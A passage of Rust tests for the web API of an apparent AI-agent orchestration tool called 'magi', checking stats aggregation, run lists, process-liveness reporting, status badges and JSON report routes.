        assert_eq!(bumps["recorded"], 0);
        // `merged` is nonzero, so coverage still reads as a real 0%, not an
        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
        // `pr_opened` and `recorded` are both zero here, so these rates have
        // no denominator to compute from and must be null.
        assert_eq!(bumps["automerge_rate"], Value::Null);
        assert_eq!(bumps["attention_rate"], Value::Null);
    }

    #[tokio::test]
    async fn stats_queue_counts_come_from_the_live_queue() {
        let f = Fixture::start().await;
        let q = f.queue();
        let mut queued = Task::new(
            "queued task".to_owned(),
            "do it".to_owned(),
            PathBuf::from("/repo"),
            Source::Human,
        );
        q.put(&mut queued).expect("put queued");
        let mut held = Task::new(
            "held task".to_owned(),
            "do it later".to_owned(),
            PathBuf::from("/repo"),
            Source::Human,
        );
        held.hold_machine(Some("out of attempts".to_owned()));
        q.put(&mut held).expect("put held");

        let queue = f.get("/api/stats").await.json()["queue"].clone();
        assert_eq!(queue["queued"], 1);
        assert_eq!(queue["held"], 1);
        assert_eq!(queue["running"], 0);
        assert_eq!(queue["done"], 0);
        assert_eq!(queue["failed"], 0);
        assert_eq!(queue["blocked"], 0);
    }

    #[tokio::test]
    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
        let f = Fixture::start().await;
        let stats = f.get("/api/stats").await;
        assert_eq!(stats.status, 200);
        assert_eq!(stats.json()["totals"]["runs"], 0);
        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
        assert_eq!(stats.json()["runs_unreadable"], 0);
        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
        assert_eq!(stats.json()["repo"], Value::Null);
    }

    #[tokio::test]
    async fn stats_lists_every_repository_with_runs_recorded() {
        let f = Fixture::start().await;
        write_run_repo(
            &f.runs(),
            "20260902-140501-a",
            RunStatus::Merged,
            "/repos/a",
        );
        write_run_repo(
            &f.runs(),
            "20260902-140502-b",
            RunStatus::Merged,
            "/repos/a",
        );
        write_run_repo(
            &f.runs(),
            "20260902-140503-c",
            RunStatus::Blocked,
            "/repos/b",
        );

        let stats = f.get("/api/stats").await;
        assert_eq!(stats.status, 200);
        // Unfiltered - the aggregate across both repositories.
        assert_eq!(stats.json()["totals"]["runs"], 3);
        assert_eq!(stats.json()["repo"], Value::Null);

        let repos = stats.json()["repos"].clone();
        let repos = repos.as_array().unwrap();
        assert_eq!(repos.len(), 2);
        // Busiest (2 runs) first.
        assert_eq!(repos[0]["repo"], "/repos/a");
        assert_eq!(repos[0]["name"], "a");
        assert_eq!(repos[0]["runs"], 2);
        assert_eq!(repos[1]["repo"], "/repos/b");
        assert_eq!(repos[1]["runs"], 1);
    }

    #[tokio::test]
    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
        let f = Fixture::start().await;
        write_run_repo(
            &f.runs(),
            "20260902-140501-a",
            RunStatus::Merged,
            "/repos/a",
        );
        write_run_repo(
            &f.runs(),
            "20260902-140502-b",
            RunStatus::Blocked,
            "/repos/b",
        );

        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
        assert_eq!(stats.status, 200);
        assert_eq!(stats.json()["totals"]["runs"], 1);
        assert_eq!(stats.json()["totals"]["merged"], 1);
        assert_eq!(stats.json()["repo"], "/repos/a");
        // The repository list itself is unaffected by the filter - it is
        // what a client switches repositories from.
        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
        // runs_unreadable is a whole-workload count, never scoped to the
        // selected repository - see StatsView::runs_unreadable's own doc.
        assert_eq!(stats.json()["runs_unreadable"], 0);
    }

    #[tokio::test]
    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
        let f = Fixture::start().await;
        write_run_repo(
            &f.runs(),
            "20260902-140501-a",
            RunStatus::Merged,
            "/repos/a",
        );
        write_run_repo(
            &f.runs(),
            "20260902-140502-b",
            RunStatus::Merged,
            "/repos/b",
        );

        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
            let json = f.get(uri).await.json();
            let daily = json["daily"].as_array().expect("daily is an array");
            assert_eq!(daily.len(), 30);
            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
            let mut sorted = dates.clone();
            sorted.sort();
            assert_eq!(dates, sorted);
            for d in daily {
                assert_eq!(
                    d["merged"].as_u64().unwrap()
                        + d["ready"].as_u64().unwrap()
                        + d["other"].as_u64().unwrap(),
                    d["runs"].as_u64().unwrap()
                );
            }
            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
        }
    }

    #[tokio::test]
    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
        let f = Fixture::start().await;
        write_run_repo(
            &f.runs(),
            "20260902-140501-a",
            RunStatus::Merged,
            "/repos/a",
        );

        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
        assert_eq!(stats.status, 404);
    }

    #[tokio::test]
    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
        let f = Fixture::start().await;
        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);

        let summary = f.get("/api/runs").await.json();
        let row = &summary[0];
        assert_eq!(row["short"], "a1b2");
        assert_eq!(row["status"], "ready");
        assert_eq!(row["done"], true);
        assert_eq!(row["title"], "Add a web UI");
        assert_eq!(row["repo_name"], "magi");
        assert_eq!(row["judges"], 3);
        assert_eq!(row["winner"], Value::Null);
        assert_eq!(row["reviews"], 0);

        // The short id resolves, and the detail route is the state itself, not
        // a projection of it: the UI reads fields the summary does not carry.
        let detail = f.get("/api/runs/a1b2").await;
        assert_eq!(detail.status, 200);
        assert_eq!(detail.json()["base_branch"], "main");
        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
    }

    /// `status: "ready"` alone cannot tell a run still headed for a landing
    /// (a PR closed without merging, say) apart from one `[merge] mode =
    /// "none"` left unmerged for good — the confusion the operator flagged
    /// after the CLI report already grew a `not landed — nothing to do by
    /// design` line for exactly this case (`report.rs`). Both the list route
    /// and the detail route must carry a flag the phone can key on instead of
    /// re-deriving it from `status` + `merge.mode` itself.
    #[tokio::test]
    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
        let f = Fixture::start().await;

        let mut none_run = RunState::new(
            PathBuf::from("/repo/magi"),
            "main".to_owned(),
            "0123456789abcdef".to_owned(),
            "Add a web UI".to_owned(),
            Config::default(),
        );
        none_run.id = "20260902-140503-none".to_owned();
        none_run.status = RunStatus::Ready;
        none_run.merge = Some(crate::run::MergeOutcome {
            mode: crate::config::MergeMode::None,
            ok: true,
            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
            empty: false,
        });
        write_state(&f.runs(), &none_run);

        let mut pr_run = RunState::new(
            PathBuf::from("/repo/magi"),
            "main".to_owned(),
            "0123456789abcdef".to_owned(),
            "Add a web UI".to_owned(),
            Config::default(),
        );
        pr_run.id = "20260902-140504-prcl".to_owned();
        pr_run.status = RunStatus::Ready;
        pr_run.merge = Some(crate::run::MergeOutcome {
            mode: crate::config::MergeMode::Pr,
            ok: false,
            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
            empty: false,
        });
        write_state(&f.runs(), &pr_run);

        let summary = f.get("/api/runs").await.json();
        let rows: std::collections::HashMap<&str, &Value> = summary
            .as_array()
            .expect("an array")
            .iter()
            .map(|r| (r["id"].as_str().expect("an id"), r))
            .collect();
        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
        assert_eq!(
            rows[none_run.id.as_str()]["unmerged_by_design"],
            true,
            "a mode-none Ready must be flagged in the list"
        );
        assert_eq!(
            rows[pr_run.id.as_str()]["unmerged_by_design"],
            false,
            "a Ready reached by a closed pull request is a different case"
        );

        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
        assert_eq!(none_detail["status"], "ready");
        assert_eq!(none_detail["unmerged_by_design"], true);

        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
        assert_eq!(pr_detail["unmerged_by_design"], false);
    }

    /// `RunState::active` is only ever cleared by whoever populated it, so the
    /// detail route also has to say whether a daemon is actually still
    /// driving this run right now — otherwise a seat from a killed process's
    /// last wave would read as live forever.
    #[tokio::test]
    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
        let f = Fixture::start().await;
        // Matches `write_daemon`'s hard-coded `current.run`, so the second
        // half of this test can claim the daemon is working on it without a
        // second helper.
        let id = "20260902-140502-bbbb";
        let mut state = RunState::new(
            PathBuf::from("/repo/magi"),
            "main".to_owned(),
            "0123456789abcdef".to_owned(),
            "Add a web UI".to_owned(),
            Config::default(),
        );
        state.id = id.to_owned();
        state.status = RunStatus::Judging;
        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
        let dir = f.runs().join(id);
        std::fs::create_dir_all(&dir).expect("run dir");
        std::fs::write(
            dir.join("run.json"),
            serde_json::to_string_pretty(&state).expect("serialize run"),
        )
        .expect("write run.json");

        // No daemon.json at all, and no `driver_pid` recorded either (this
        // state was written directly, never through `execute()`): there is
        // nothing to confirm either way, so the route must say `"unknown"` —
        // never `"dead"`, which is exactly the false diagnosis a manual `magi
        // run` used to get from this route before `driver_pid` existed.
        let cold = f.get(&format!("/api/runs/{id}")).await.json();
        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
        assert_eq!(cold["live"], "unknown", "{cold}");

        // A fresh heartbeat naming exactly this run: the same entry now reads
        // as confirmed, not merely recorded.
        write_daemon(f.home.path(), Timestamp::now());
        let warm = f.get(&format!("/api/runs/{id}")).await.json();
        assert_eq!(warm["live"], "live", "{warm}");
    }

    /// Where a run came from is shown, and a run written before origins were
    /// recorded (schema 12, no `origin` key) stays readable and says so.
    #[tokio::test]
    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
        let f = Fixture::start().await;
        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
            let mut state = RunState::new(
                PathBuf::from("/repo/magi"),
                "main".to_owned(),
                "0123456789abcdef".to_owned(),
                "Add a web UI".to_owned(),
                Config::default(),
            );
            state.id = id.to_owned();
            state.origin = origin;
            let mut value = serde_json::to_value(&state).expect("serialize run");
            if let Some(schema) = schema {
                value["schema"] = serde_json::json!(schema);
                value.as_object_mut().unwrap().remove("origin");
            }
            let dir = f.runs().join(id);
            std::fs::create_dir_all(&dir).expect("run dir");
            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
        };
        write(
            "20260930-092817-ec34",
            Some(crate::run::Origin::from_agent_env(
                Some(("4a7b".to_owned(), "chat".to_owned())),
                None,
            )),
            None,
        );
        write("20260930-092817-0ld1", None, Some(12));

        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");

        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
        assert_eq!(
            old["origin_label"], "origin unknown (started before origins were recorded)",
            "{old}"
        );
        assert!(old["origin"].is_null(), "{old}");

        let list = f.get("/api/runs").await.json();
        let labels: Vec<_> = list
            .as_array()
            .unwrap()
            .iter()
            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
            .collect();
        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
    }

    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
    /// review` claims no daemon at all, so before this field existed the
    /// route above read it as `"dead"` — indistinguishable from a run a
    /// killed process abandoned — the whole time it was genuinely still
    /// answering. With a live pid recorded, it must read `"live"` even
    /// though no daemon claims it.
    #[tokio::test]
    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
        let f = Fixture::start().await;
        let id = "20260922-090000-cccc";
        let mut state = RunState::new(
            PathBuf::from("/repo/magi"),
            "main".to_owned(),
            "0123456789abcdef".to_owned(),
            "Review only".to_owned(),
            Config::default(),
        );
        state.id = id.to_owned();
        state.status = RunStatus::Reviewing;
        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
        // This test process's own pid: guaranteed alive, and never needs a
        // real daemon or a second process to prove it. The matching start-time
        // marker is what `liveness` now requires alongside a live pid — see
        // `RunState::driver_started_at`'s own doc for why the pid alone is
        // not enough.
        state.driver_pid = Some(std::process::id());
        state.driver_started_at = Some(
            crate::proc::process_started_at(std::process::id())
                .expect("this test process's own start time must be queryable"),
        );
        let dir = f.runs().join(id);
        std::fs::create_dir_all(&dir).expect("run dir");
        std::fs::write(
            dir.join("run.json"),
            serde_json::to_string_pretty(&state).expect("serialize run"),
        )
        .expect("write run.json");

        let detail = f.get(&format!("/api/runs/{id}")).await.json();
        assert_eq!(detail["live"], "live", "{detail}");
    }

    /// A killed manual run's pid can be handed to a wholly unrelated later
    /// process — a live query on `driver_pid` alone would read this as
    /// `"live"`, exactly the false positive `driver_started_at` exists to
    /// catch (see that field's own doc, and `RunState::liveness_with`'s
    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
    #[tokio::test]
    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
        let f = Fixture::start().await;
        let id = "20260922-090100-dddd";
        let mut state = RunState::new(
            PathBuf::from("/repo/magi"),
            "main".to_owned(),
            "0123456789abcdef".to_owned(),
            "Review only".to_owned(),
            Config::default(),
        );
        state.id = id.to_owned();
        state.status = RunStatus::Reviewing;
        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
        // This test process's own pid really is alive, but the marker
        // recorded here does not match what it actually started at —
        // standing in for the pid having since been reused by a different
        // process than the one that wrote `run.json`.
        state.driver_pid = Some(std::process::id());
        state.driver_started_at = Some("1".to_owned());
        let dir = f.runs().join(id);
        std::fs::create_dir_all(&dir).expect("run dir");
        std::fs::write(
            dir.join("run.json"),
            serde_json::to_string_pretty(&state).expect("serialize run"),
        )
        .expect("write run.json");

        let detail = f.get(&format!("/api/runs/{id}")).await.json();
        assert_eq!(detail["live"], "dead", "{detail}");
    }

    /// The deck's competition list is normally the first place an operator
    /// sees an old run. It must carry the same process verdict as detail, or
    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
    #[test]
    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
        let mk = |id: &str, pid: Option<u32>| {
            let mut s = RunState::new(
                PathBuf::from("/repo/magi"),
                "main".to_owned(),
                "0123456789abcdef".to_owned(),
                "Add a web UI".to_owned(),
                Config::default(),
            );
            s.id = id.to_owned();
            s.driver_pid = pid;
            s.driver_started_at = Some("1790000000".to_owned());
            s
        };
        let states = vec![
            mk("20260902-140502-aaaa", Some(77)),
            mk("20260902-140502-bbbb", Some(77)),
            mk("20260902-140502-cccc", Some(77)),
            mk("20260902-140502-dddd", None),
        ];
        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
        let sup: HashMap<String, String> = [(
            "20260902-140502-aaaa".to_owned(),
            "20260902-140502-cccc".to_owned(),
        )]
        .into();

        let status_calls = std::cell::Cell::new(0);
        let identity_calls = std::cell::Cell::new(0);
        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
            |_| {
                status_calls.set(status_calls.get() + 1);
                Some(true)
            },
            |_| {
                identity_calls.set(identity_calls.get() + 1);
                Some("1790000000".to_owned())
            },
        ));
        let rows = summarize(
            states,
            &open,
            &claimed,
            &sup,
            |p| probe.borrow_mut().status(p),
            |p| probe.borrow_mut().started_at(p),
        );

        assert_eq!(status_calls.get(), 1, "one pid, one status query");
        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
        assert_eq!(rows.len(), 4);
        assert!(!rows[0].waiting && rows[1].waiting);
        assert_eq!(rows[0].live, crate::run::Liveness::Live);
        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
        assert_eq!(rows[1].superseded_by, None);
    }

    #[test]
    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
        let mut state = RunState::new(
            PathBuf::from("/repo/magi"),
            "main".to_owned(),
            "0123456789abcdef".to_owned(),
            "Review only".to_owned(),
            Config::default(),
        );
        state.id = "20260922-090200-dead".to_owned();
        state.status = RunStatus::Reviewing;
        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
            .expect("serialize list row");
        assert_eq!(row["status"], "reviewing");
        assert_eq!(row["display_status"], "stale");
        assert_eq!(row["live"], "dead", "{row}");
        assert!(!row["done"].as_bool().unwrap());
    }

    #[test]
    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
        use crate::run::Liveness::{Dead, Live, Unknown};
        let mut state = RunState::new(
            PathBuf::from("/repo/magi"),
            "main".to_owned(),
            "abc".to_owned(),
            "Review only".to_owned(),
            Config::default(),
        );
        for (status, parked, node, waiting, live, expected) in [
            (
                RunStatus::Judging,
                true,
                "github-text",
                false,
                Dead,
                "parked",
            ),
            (RunStatus::Judging, false, "park", false, Dead, "stale"),
            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
            (
                RunStatus::Judging,
                true,
                "github-text",
                true,
                Dead,
                "waiting",
            ),
            (
                RunStatus::Judging,
                false,
                "github-text",
                true,
                Dead,
                "waiting",
            ),
            (
                RunStatus::Judging,
                false,
                "github-text",
                false,
                Dead,
                "stale",
            ),
            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
            (RunStatus::Judging, true, "park", false, Live, "judging"),
            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
            (RunStatus::Merged, true, "park", false, Dead, "merged"),
            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
            (
                RunStatus::Blocked,
                true,
                "github-text",
                true,
                Dead,
                "waiting",
            ),
        ] {
            state.status = status;
            state.parked = parked;
            state.events.clear();
            state.event(
                "park",
                "an earlier park does not determine the latest state",
            );
            state.event(node, "message is not used for classification");
            let summary = RunSummary::of(&state, waiting, live);
            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
            assert_eq!(
                summary.display_status, expected,
                "{status:?}/{node}/{live:?}"
            );
            assert_eq!(detail.display_status, summary.display_status);
            assert_eq!(detail.waiting, summary.waiting);
        }
        state.status = RunStatus::Judging;
        state.parked = false;
        state.events.clear();
        assert_eq!(run_display_status(&state, false, Dead), "stale");
    }

    #[test]
    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
        use crate::run::Liveness::{Dead, Live, Unknown};
        let mut state = RunState::new(
            PathBuf::from("/repo/magi"),
            "main".to_owned(),
            "abc".to_owned(),
            "Badge".to_owned(),
            Config::default(),
        );
        for (status, waiting, live, superseded, expected) in [
            (RunStatus::Gating, false, Dead, false, "stale"),
            (RunStatus::Gating, false, Dead, true, "superseded"),
            (RunStatus::Gating, false, Unknown, true, "superseded"),
            (RunStatus::Gating, true, Dead, true, "superseded"),
            (RunStatus::Gating, true, Dead, false, "waiting"),
            (RunStatus::Gating, false, Unknown, false, "gating"),
            (RunStatus::Gating, false, Live, true, "gating"),
            (RunStatus::Gating, true, Live, true, "waiting"),
            (RunStatus::Merged, false, Dead, true, "merged"),
            (RunStatus::Blocked, false, Dead, true, "blocked"),
        ] {
            state.status = status;
            let display = run_display_status(&state, waiting, live);
            assert_eq!(
                run_badge_status(&state, &display, live, superseded),
                expected,
                "{status:?}/{live:?}/superseded={superseded}"
            );
        }
    }

    #[test]
    fn summarize_and_detail_expose_badge_status() {
        use crate::run::Liveness::Dead;
        let mut state = RunState::new(
            PathBuf::from("/repo/magi"),
            "main".to_owned(),
            "abc".to_owned(),
            "Badge".to_owned(),
            Config::default(),
        );
        state.status = RunStatus::Gating;
        let none = HashSet::new();
        let id = state.id.clone();
        let mut by = HashMap::new();
        let rows = summarize(
            [state.clone()],
            &none,
            &none,
            &by,
            |_| Some(false),
            |_| None,
        );
        // No driver recorded: liveness is not provably dead, so the node stays.
        assert_eq!(rows[0].badge_status, rows[0].display_status);
        by.insert(id, "20260901-000000-913b".to_owned());
        let detail = RunDetailView::of(
            state.clone(),
            false,
            Dead,
            Some("913b".to_owned()),
            None,
            None,
        );
        assert_eq!(detail.badge_status, "superseded");
        let json = serde_json::to_value(&detail).unwrap();
        assert_eq!(json["badge_status"], "superseded");
        let detail = RunDetailView::of(state, false, Dead, None, None, None);
        assert_eq!(detail.badge_status, "stale");
    }

    #[tokio::test]
    async fn run_display_status_routes_share_the_open_question_store() {
        let f = Fixture::start().await;
        let id = "20260922-090200-abcd";
        write_run(&f.runs(), id, RunStatus::Judging);
        let mut state = read_run(&f.runs(), id).unwrap();
        state.parked = true;
        state.driver_exited = true;
        state.event("github-text", "waiting for the owner");
        state.save_under(f.home.path()).unwrap();
        let mut task = Task::new(
            "resumed task".to_owned(),
            "do it".to_owned(),
            PathBuf::from("/repo"),
            Source::Human,
        );
        task.runs = vec![id.to_owned(), id.to_owned()];
        f.queue().put(&mut task).unwrap();
        let store = f.questions();
        let mut q = Question::new(
            id.to_owned(),
            "github-text".to_owned(),
            "owner".to_owned(),
            "Approve the text?".to_owned(),
            String::new(),
            Vec::new(),
        );
        store.put(&mut q).unwrap();
        for expected in ["waiting", "parked"] {
            let list = f.get("/api/runs").await.json();
            let detail = f.get(&format!("/api/runs/{id}")).await.json();
            assert_eq!(list[0]["display_status"], expected);
            assert_eq!(detail["display_status"], expected);
            assert_eq!(detail["waiting"], list[0]["waiting"]);
            assert_eq!(list[0]["badge_status"], expected);
            assert_eq!(detail["badge_status"], expected);
            assert!(list[0]["superseded_by"].is_null());
            assert!(detail["superseded_by"].is_null());
            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
            let history = task_detail["history"].as_array().unwrap();
            assert_eq!(history.len(), 2);
            assert!(history[0]["badge"].is_null());
            assert_eq!(history[1]["badge"], expected);
            q.status = ask::QuestionStatus::Answered;
            store.put(&mut q).unwrap();
        }
    }

    #[tokio::test]
    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
        let f = Fixture::start().await;
        let id = "20260922-090200-abcd";
        write_run(&f.runs(), id, RunStatus::Judging);
        let mut state = read_run(&f.runs(), id).unwrap();
        state.parked = true;
        state.driver_exited = true;
        state.event("park", "stopped at a node boundary");
        state.save_under(f.home.path()).unwrap();

        for expected in ["parked", "stale"] {
            let list = f.get("/api/runs").await.json();
            let detail = f.get(&format!("/api/runs/{id}")).await.json();
            assert_eq!(list[0]["live"], "dead");
            assert_eq!(list[0]["display_status"], expected);
            assert_eq!(detail["display_status"], expected);
            // Model a driver claim followed by a crash before the next event:
            // the persisted flag changes, but the last event is still park.
            state.parked = false;
            state.save_under(f.home.path()).unwrap();
        }
    }

    #[tokio::test]
    async fn the_run_list_is_newest_first_and_honours_a_limit() {
        let f = Fixture::start().await;
        for id in [
            "20260902-140501-aaaa",
            "20260902-140502-bbbb",
            "20260902-140503-cccc",
        ] {
            write_run(&f.runs(), id, RunStatus::Merged);
        }

        let all = f.get("/api/runs").await.json();
        let capped = f.get("/api/runs?limit=2").await.json();

        assert_eq!(all[0]["id"], "20260902-140503-cccc");
        assert_eq!(all.as_array().map(Vec::len), Some(3));
        assert_eq!(capped.as_array().map(Vec::len), Some(2));
        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
    }

    #[tokio::test]
    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
        let f = Fixture::start().await;
        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);

        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;

        assert_eq!(res.status, 200);
        assert!(
            res.headers
                .contains("content-type: text/plain; charset=utf-8"),
            "a browser must render it, not download it: {}",
            res.headers
        );
        // The assertion is on content, not on the absence of escapes: colour
        // is a process-global that `serve` turns off at startup, and another
        // test in this binary may own it while this one runs.
        assert!(
            res.body.contains("20260902-140501-a1b2"),
            "the report is about the run that was asked for: {}",
            res.body
        );
    }

    #[tokio::test]
    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
        // The view names the run's state directory, which reads the process-global home.
        crate::run::pin_test_home();
        let f = Fixture::start().await;
        let id = "20260902-140501-a1b2";
        write_run(&f.runs(), id, RunStatus::Stalled);
        // A stalled panel and one review round, written through the real
        // state file so the route reads what a run really leaves behind.
        let path = f.runs().join(id).join("run.json");
        let mut v: serde_json::Value =
            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
        v["tally"] = serde_json::json!({
            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
            "met_quorum": false, "rankings": 1
        });
        v["reviews"] = serde_json::json!([{
            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
            "e2e_deferred": true,
            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
            ]}]
        }]);
        std::fs::write(&path, v.to_string()).unwrap();
        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
        std::fs::write(
            f.runs().join("20260902-140502-dead").join("run.json"),
            "{not json",
        )
        .unwrap();

        let res = f.get(&format!("/api/runs/{id}/report.json")).await;

        assert_eq!(res.status, 200, "{}", res.body);
        assert!(res.headers.contains("content-type: application/json"));
        let j = res.json();
        assert_eq!(j["schema"], 1);
        assert_eq!(j["header"]["id"], id);
        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
        let kinds: Vec<&str> = j["sections"]
            .as_array()
            .unwrap()
            .iter()
            .map(|s| s["kind"].as_str().unwrap())
            .collect();
        assert_eq!(kinds, ["candidates", "tally", "review"]);
        let tally = &j["sections"][1]["tally"];
        assert_eq!(
            (tally["decided"].clone(), tally["provisional"].clone()),
            (false.into(), true.into())
        );
        let round = &j["sections"][2]["rounds"][0];
        assert_eq!(round["e2e"]["state"], "deferred");
        assert_eq!(round["findings"][0]["severity"], "major");
        assert_eq!(round["findings"][0]["blocking"], true);
        assert_eq!(round["findings"][0]["state"], "open");

        // The raw route keeps working beside it.
        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);

        // An unreadable run is an error, as on the text route, and is counted.
        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
        assert_ne!(bad.status, 200, "{}", bad.body);
        assert_eq!(
            bad.status,
            f.get("/api/runs/20260902-140502-dead/report").await.status
        );
        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
        assert_eq!(
            f.get("/api/runs/20260902-999999-ffff/report.json")
                .await
                .status,
            404
        );
    }

    #[tokio::test]
    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
        crate::run::pin_test_home();
        let f = Fixture::start().await;
        let id = "20260902-140503-delib";
        write_run(&f.runs(), id, RunStatus::Merged);
        let path = f.runs().join(id).join("run.json");
        let mut v: serde_json::Value =
            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
        v["judgements"] = serde_json::json!([
            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
        ]);
        v["tally"] = serde_json::json!({
            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
            "met_quorum": true, "rankings": 1
        });
        v["deliberation"] = serde_json::json!([
            {
                "round": 1,
                "turns": [
                    {
                        "judge": 1,
                        "agent": "judge-1",
                        "body": "I prefer candidate **A** because it has cleaner tests.",
                        "tentative": "A"
                    }
                ]
            },
            {
                "round": 2,
                "turns": [
                    {
                        "judge": 1,
                        "agent": "judge-1",
                        "body": "Still thinking, no choice yet.",
                        "tentative": null
                    }
                ]
            }
        ]);
        std::fs::write(&path, v.to_string()).unwrap();

        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
        assert_eq!(res.status, 200, "{}", res.body);
        let j = res.json();
        let judging = j["sections"]
            .as_array()
            .unwrap()
            .iter()
            .find(|s| s["kind"] == "judging")
            .expect("judging section exists");

        // Existing summary lines remain intact
        let delib_lines = judging["deliberation"].as_array().unwrap();
        assert_eq!(delib_lines.len(), 2);
        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
        assert_eq!(delib_lines[1], "r2 judge 1 -> -");

        // rounds carry turn bodies, tentative and parsed body_md
        let rounds = judging["rounds"].as_array().unwrap();
        assert_eq!(rounds.len(), 2);
        let r1_t0 = &rounds[0]["turns"][0];
        assert_eq!(r1_t0["judge"], 1);
        assert_eq!(r1_t0["agent"], "judge-1");
        assert_eq!(r1_t0["tentative"], "A");
        assert_eq!(
            r1_t0["body"],
            "I prefer candidate **A** because it has cleaner tests."
        );
        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());

        let r2_t0 = &rounds[1]["turns"][0];
        assert_eq!(r2_t0["judge"], 1);
        assert_eq!(r2_t0["agent"], "judge-1");
        assert!(r2_t0["tentative"].is_null());
        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());

        // A run with empty deliberation array yields empty rounds
        let id_empty = "20260902-140504-nodelib";
        write_run(&f.runs(), id_empty, RunStatus::Merged);
        let path_empty = f.runs().join(id_empty).join("run.json");
        let mut v_empty: serde_json::Value =
            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
        v_empty["judgements"] = serde_json::json!([
            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
        ]);
        v_empty["deliberation"] = serde_json::json!([]);
        std::fs::write(&path_empty, v_empty.to_string()).unwrap();

